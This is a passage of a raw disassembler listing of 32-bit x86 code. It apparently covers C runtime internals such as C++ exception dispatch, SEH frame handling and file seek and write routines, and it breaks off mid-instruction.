sub_422651+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_422777 loc_422758: ; CODE XREF: sub_422651+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_4228A0 add esp, 0Ch test eax, eax jnz short loc_422786 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_422758 loc_422777: ; CODE XREF: sub_422651+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_422746 jmp short loc_4227AA ; --------------------------------------------------------------------------- loc_422786: ; CODE XREF: sub_422651+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4229B1 ; --------------------------------------------------------------------------- add esp, 2Ch loc_4227AA: ; CODE XREF: sub_422651+F3j ; sub_422651+133j mov edi, [ebp+var_10] loc_4227AD: ; CODE XREF: sub_422651+DEj ; sub_422651+E3j inc [ebp+var_4] add ebx, 14h jmp loc_422721 ; --------------------------------------------------------------------------- loc_4227B8: ; CODE XREF: sub_422651+D6j cmp [ebp+arg_14], 0 jz short loc_4227C8 push 1 push esi call sub_422D26 pop ecx pop ecx loc_4227C8: ; CODE XREF: sub_422651+56j ; sub_422651+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4227CD: ; CODE XREF: sub_422651+37j ; sub_422651+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_4227F3 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4227F8 add esp, 20h jmp short loc_4227C8 ; --------------------------------------------------------------------------- loc_4227F3: ; CODE XREF: sub_422651+180j jmp sub_422DFC sub_422651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227F8 proc near ; CODE XREF: sub_422651+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DBE70, 0 push esi push edi jz short loc_422829 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D3AA add esp, 1Ch test eax, eax jnz short loc_42289C loc_422829: ; CODE XREF: sub_4227F8+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D4D3 add esp, 14h mov esi, eax loc_422845: ; CODE XREF: sub_4227F8+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_42289C cmp edi, [esi] jl short loc_422894 cmp edi, [esi+4] jg short loc_422894 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_42286E cmp byte ptr [ecx+8], 0 jnz short loc_422894 loc_42286E: ; CODE XREF: sub_4227F8+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4229B1 ; --------------------------------------------------------------------------- add esp, 2Ch loc_422894: ; CODE XREF: sub_4227F8+57j ; sub_4227F8+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_422845 ; --------------------------------------------------------------------------- loc_42289C: ; CODE XREF: sub_4227F8+2Fj ; sub_4227F8+53j pop edi pop esi leave retn sub_4227F8 endp ; =============== S U B R O U T I N E ======================================= sub_4228A0 proc near ; CODE XREF: sub_422651+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_4228F7 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_4228F7 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_4228D1 add ecx, 8 push ecx push edx call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4228F3 loc_4228D1: ; CODE XREF: sub_4228A0+1Fj test byte ptr [esi], 2 jz short loc_4228DB test byte ptr [edi], 8 jz short loc_4228F3 loc_4228DB: ; CODE XREF: sub_4228A0+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_4228EA test byte ptr [edi], 1 jz short loc_4228F3 loc_4228EA: ; CODE XREF: sub_4228A0+43j test al, 2 jz short loc_4228F7 test byte ptr [edi], 2 jnz short loc_4228F7 loc_4228F3: ; CODE XREF: sub_4228A0+2Fj ; sub_4228A0+39j ... xor eax, eax jmp short loc_4228FA ; --------------------------------------------------------------------------- loc_4228F7: ; CODE XREF: sub_4228A0+Bj ; sub_4228A0+14j ... push 1 pop eax loc_4228FA: ; CODE XREF: sub_4228A0+55j pop edi pop esi retn sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4228FD proc near ; CODE XREF: sub_4225B6+34p ; ___:004229F3p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278A8 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42292F: ; CODE XREF: sub_4228FD+8Aj cmp esi, [ebp+arg_C] jz short loc_422989 cmp esi, 0FFFFFFFFh jle short loc_42293E cmp esi, [edi+4] jl short loc_422943 loc_42293E: ; CODE XREF: sub_4228FD+3Aj call sub_422E52 loc_422943: ; CODE XREF: sub_4228FD+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_42295E push 103h push ebx push eax call sub_422DB0 loc_42295E: ; CODE XREF: sub_4228FD+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_42297E ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_42299B pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_42297E: ; CODE XREF: sub_4228FD+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42292F ; --------------------------------------------------------------------------- loc_422989: ; CODE XREF: sub_4228FD+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4228FD endp ; =============== S U B R O U T I N E ======================================= sub_42299B proc near ; CODE XREF: sub_4228FD+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_4229AC xor eax, eax retn ; --------------------------------------------------------------------------- loc_4229AC: ; CODE XREF: sub_42299B+Cj jmp sub_422DFC sub_42299B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4229B1 proc near ; CODE XREF: sub_422651+151p ; sub_4227F8+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_4229D3 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_422B62 add esp, 10h loc_4229D3: ; CODE XREF: sub_4229B1+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_4229DF push edi jmp short loc_4229E2 ; --------------------------------------------------------------------------- loc_4229DF: ; CODE XREF: sub_4229B1+29j push [ebp+arg_24] loc_4229E2: ; CODE XREF: sub_4229B1+2Cj call sub_41D2AC sub_4229B1 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_4228FD mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_422A2C add esp, 2Ch test eax, eax jz short loc_422A27 push edi push eax call sub_41D26A loc_422A27: ; CODE XREF: ___:00422A1Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422A2C proc near ; CODE XREF: ___:00422A14p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278B8 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DBE68 mov [ebp+var_1C], ecx mov ecx, dword_4DBE6C mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DBE68, edi mov ecx, [ebp+arg_8] mov dword_4DBE6C, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41D331 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422AF2 mov eax, [ebp+var_2C] loc_422AB9: ; CODE XREF: sub_422AD2+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422A2C endp ; =============== S U B R O U T I N E ======================================= sub_422AC8 proc near ; DATA XREF: ___:004278C8o push dword ptr [ebp-14h] call sub_422B38 pop ecx retn sub_422AC8 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; DATA XREF: ___:004278CCo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41D592 pop ecx pop ecx xor eax, eax jmp short loc_422AB9 sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AEA: ; DATA XREF: ___:004278C0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422AF2 proc near ; CODE XREF: sub_422A2C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DBE68, eax mov eax, [ebp-20h] mov dword_4DBE6C, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422B37 cmp dword ptr [edi+10h], 3 jnz short locret_422B37 cmp dword ptr [edi+14h], 19930520h jnz short locret_422B37 cmp [ebp-24h], ebx jnz short locret_422B37 cmp [ebp-2Ch], ebx jz short locret_422B37 call sub_41D5FA push eax push edi call sub_422D26 pop ecx pop ecx locret_422B37: ; CODE XREF: sub_422AF2+1Cj ; sub_422AF2+22j ... retn sub_422AF2 endp ; =============== S U B R O U T I N E ======================================= sub_422B38 proc near ; CODE XREF: sub_422AC8+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_422B5F cmp dword ptr [eax+10h], 3 jnz short loc_422B5F cmp dword ptr [eax+14h], 19930520h jnz short loc_422B5F cmp dword ptr [eax+1Ch], 0 jnz short loc_422B5F push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422B5F: ; CODE XREF: sub_422B38+Cj ; sub_422B38+12j ... xor eax, eax retn sub_422B38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422B62 proc near ; CODE XREF: sub_4229B1+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_422D0B cmp byte ptr [eax+8], 0 jz loc_422D0B mov eax, [ecx+8] test eax, eax jz loc_422D0B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_422BFF mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz loc_422D02 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422BF0: ; CODE XREF: sub_422B62+F5j push eax call sub_422D8D pop ecx pop ecx mov [edi], eax jmp loc_422D07 ; --------------------------------------------------------------------------- loc_422BFF: ; CODE XREF: sub_422B62+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_422C59 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz loc_422D02 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41D670 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422D07 mov eax, [edi] test eax, eax jz loc_422D07 add esi, 8 push esi jmp short loc_422BF0 ; --------------------------------------------------------------------------- loc_422C59: ; CODE XREF: sub_422B62+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422CA1 call sub_424F80 pop ecx pop ecx test eax, eax jz loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz short loc_422D02 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push edi call sub_41D670 add esp, 0Ch jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422CA1: ; CODE XREF: sub_422B62+103j call sub_424F80 pop ecx pop ecx test eax, eax jz short loc_422D02 push 1 push edi call sub_424F9C pop ecx pop ecx test eax, eax jz short loc_422D02 push dword ptr [esi+18h] call sub_424FB8 pop ecx test eax, eax jz short loc_422D02 test byte ptr [esi], 4 jz short loc_422CE8 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D2A5 jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422CE8: ; CODE XREF: sub_422B62+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422D8D pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D29E jmp short loc_422D07 ; --------------------------------------------------------------------------- loc_422D02: ; CODE XREF: sub_422B62+6Aj ; sub_422B62+7Cj ... call sub_422E52 loc_422D07: ; CODE XREF: sub_422B62+98j ; sub_422B62+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_422D0B: ; CODE XREF: sub_422B62+2Ej ; sub_422B62+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422B62 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D26 proc near ; CODE XREF: sub_422651+170p ; sub_422AF2+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278E0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_422D6D mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_422D6D and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41D29E or [ebp+var_4], 0FFFFFFFFh loc_422D6D: ; CODE XREF: sub_422D26+2Aj ; sub_422D26+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422D26 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_422DFC ; =============== S U B R O U T I N E ======================================= sub_422D8D proc near ; CODE XREF: sub_422B62+8Fp ; sub_422B62+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_422DAE mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_422DAE: ; CODE XREF: sub_422D8D+12j pop esi retn sub_422D8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DB0 proc near ; CODE XREF: sub_41D331+40p ; sub_4228FD+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41D61D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_422DEF mov ecx, 2 loc_422DEF: ; CODE XREF: sub_422DB0+38j push ecx call sub_41D61D pop ebp pop ecx pop ebx leave retn 0Ch sub_422DB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DFC proc near ; CODE XREF: sub_422651:loc_4227F3j ; sub_42299B:loc_4229ACj ... var_28 = dword ptr -28h var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DBE74 test eax, eax jz short loc_422E44 mov [ebp+var_4], 1 call eax jmp short loc_422E40 ; --------------------------------------------------------------------------- loc_422E39: ; DATA XREF: ___:00427900o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E3D: ; DATA XREF: ___:00427904o mov esp, [ebp+var_18] loc_422E40: ; CODE XREF: sub_422DFC+3Bj and [ebp+var_4], 0 loc_422E44: ; CODE XREF: sub_422DFC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422E4D: ; DATA XREF: ___:004278F8o jmp loc_424FD0 sub_422DFC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E52 proc near ; CODE XREF: sub_41D4D3+23p ; sub_41D4D3:loc_41D53Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427908 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43D444 test eax, eax jz short loc_422E9A mov [ebp+var_4], 1 call eax ; sub_422DFC jmp short loc_422E96 ; --------------------------------------------------------------------------- loc_422E8F: ; DATA XREF: ___:00427918o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422E93: ; DATA XREF: ___:0042791Co mov esp, [ebp+var_18] loc_422E96: ; CODE XREF: sub_422E52+3Bj and [ebp+var_4], 0 loc_422E9A: ; CODE XREF: sub_422E52+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422EA3: ; DATA XREF: ___:00427910o jmp sub_422DFC sub_422E52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EA8 proc near ; CODE XREF: sub_41D9B3+7p ; sub_41D9B3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DD388 push esi cmp eax, 3 jnz short loc_422ED1 mov esi, [ebp+arg_0] push esi call sub_41E717 test eax, eax pop ecx jz short loc_422ECE mov eax, [esi-4] sub eax, 9 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422ECE: ; CODE XREF: sub_422EA8+1Cj push esi jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED1: ; CODE XREF: sub_422EA8+Ej cmp eax, 2 jnz short loc_422EF5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41F472 add esp, 0Ch test eax, eax jz short loc_422EF5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EA8+2Cj ; sub_422EA8+43j push [ebp+arg_0] loc_422EF8: ; CODE XREF: sub_422EA8+27j push 0 push dword_4DD384 call near ptr 2651063h nop loc_422F06: ; CODE XREF: sub_422EA8+24j ; sub_422EA8+4Bj pop esi leave retn sub_422EA8 endp ; =============== S U B R O U T I N E ======================================= sub_422F09 proc near ; CODE XREF: ___:0041DAF2p ; sub_41F9BC+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DD140 push esi push edi jnb short loc_422F8B mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_422F8B push eax call sub_4240AA cmp eax, 0FFFFFFFFh pop ecx jnz short loc_422F4D mov dword_4DBDDC, 9 jmp short loc_422F9C ; --------------------------------------------------------------------------- loc_422F4D: ; CODE XREF: sub_422F09+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call near ptr 27A0000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_422F6D nop call near ptr 2680880h jmp short loc_422F6F ; --------------------------------------------------------------------------- loc_422F6D: ; CODE XREF: sub_422F09+5Aj xor eax, eax loc_422F6F: ; CODE XREF: sub_422F09+62j test eax, eax jz short loc_422F7C push eax call sub_420C7F pop ecx jmp short loc_422F9C ; --------------------------------------------------------------------------- loc_422F7C: ; CODE XREF: sub_422F09+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_422F9F ; --------------------------------------------------------------------------- loc_422F8B: ; CODE XREF: sub_422F09+Dj ; sub_422F09+2Aj and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_422F9C: ; CODE XREF: sub_422F09+42j ; sub_422F09+71j or eax, 0FFFFFFFFh loc_422F9F: ; CODE XREF: sub_422F09+80j pop edi pop esi pop ebx retn sub_422F09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422FA3 proc near ; CODE XREF: ___:0041DAB5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_422FBF mov [edi+4], ebx loc_422FBF: ; CODE XREF: sub_422FA3+17j push 1 push ebx push esi call sub_422F09 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42302D mov edx, [edi+0Ch] test dx, 108h jnz short loc_422FE4 sub eax, [edi+4] jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_422FE4: ; CODE XREF: sub_422FA3+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_42301E mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DD040[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_423035 mov edx, ecx loc_42300F: ; CODE XREF: sub_422FA3+79j cmp edx, eax jnb short loc_423035 cmp byte ptr [edx], 0Ah jnz short loc_42301B inc [ebp+var_8] loc_42301B: ; CODE XREF: sub_422FA3+73j inc edx jmp short loc_42300F ; --------------------------------------------------------------------------- loc_42301E: ; CODE XREF: sub_422FA3+50j test dl, 80h jnz short loc_423035 mov dword_4DBDDC, 16h loc_42302D: ; CODE XREF: sub_422FA3+2Dj or eax, 0FFFFFFFFh jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_423035: ; CODE XREF: sub_422FA3+68j ; sub_422FA3+6Ej ... cmp [ebp+var_4], 0 jnz short loc_423043 mov eax, [ebp+var_8] jmp loc_4230F6 ; --------------------------------------------------------------------------- loc_423043: ; CODE XREF: sub_422FA3+96j test byte ptr [edi+0Ch], 1 jz loc_4230EE mov edx, [edi+4] test edx, edx jnz short loc_42305C and [ebp+var_8], edx jmp loc_4230EE ; --------------------------------------------------------------------------- loc_42305C: ; CODE XREF: sub_422FA3+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_4230E8 push 2 push 0 push [ebp+var_C] call sub_422F09 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4230AF mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_42309A: ; CODE XREF: sub_422FA3+104j cmp eax, ecx jnb short loc_4230A9 cmp byte ptr [eax], 0Ah jnz short loc_4230A6 inc [ebp+arg_0] loc_4230A6: ; CODE XREF: sub_422FA3+FEj inc eax jmp short loc_42309A ; --------------------------------------------------------------------------- loc_4230A9: ; CODE XREF: sub_422FA3+F9j test byte ptr [edi+0Dh], 20h jmp short loc_4230E3 ; --------------------------------------------------------------------------- loc_4230AF: ; CODE XREF: sub_422FA3+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_422F09 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4230D6 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4230D6 test ch, 4 jz short loc_4230D9 loc_4230D6: ; CODE XREF: sub_422FA3+124j ; sub_422FA3+12Cj mov eax, [edi+18h] loc_4230D9: ; CODE XREF: sub_422FA3+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_4230E3: ; CODE XREF: sub_422FA3+10Aj jz short loc_4230E8 inc [ebp+arg_0] loc_4230E8: ; CODE XREF: sub_422FA3+D9j ; sub_422FA3:loc_4230E3j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_4230EE: ; CODE XREF: sub_422FA3+A4j ; sub_422FA3+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_4230F6: ; CODE XREF: sub_422FA3+3Cj ; sub_422FA3+8Dj ... pop edi pop esi pop ebx leave retn sub_422FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4230FB proc near ; CODE XREF: sub_41DB54+A2p ; sub_41E42B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DD140 push esi push edi jnb loc_42328F mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_42328F xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42314C loc_423145: ; CODE XREF: sub_4230FB+177j xor eax, eax jmp loc_4232A3 ; --------------------------------------------------------------------------- loc_42314C: ; CODE XREF: sub_4230FB+48j test al, 20h jz short loc_42315C push 2 push edi push ecx call sub_422F09 add esp, 0Ch loc_42315C: ; CODE XREF: sub_4230FB+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_42322B mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_423263 loc_42317C: ; CODE XREF: sub_4230FB+F5j lea eax, [ebp+var_414] loc_423182: ; CODE XREF: sub_4230FB+B9j mov ecx, [ebp+var_4] sub ecx, 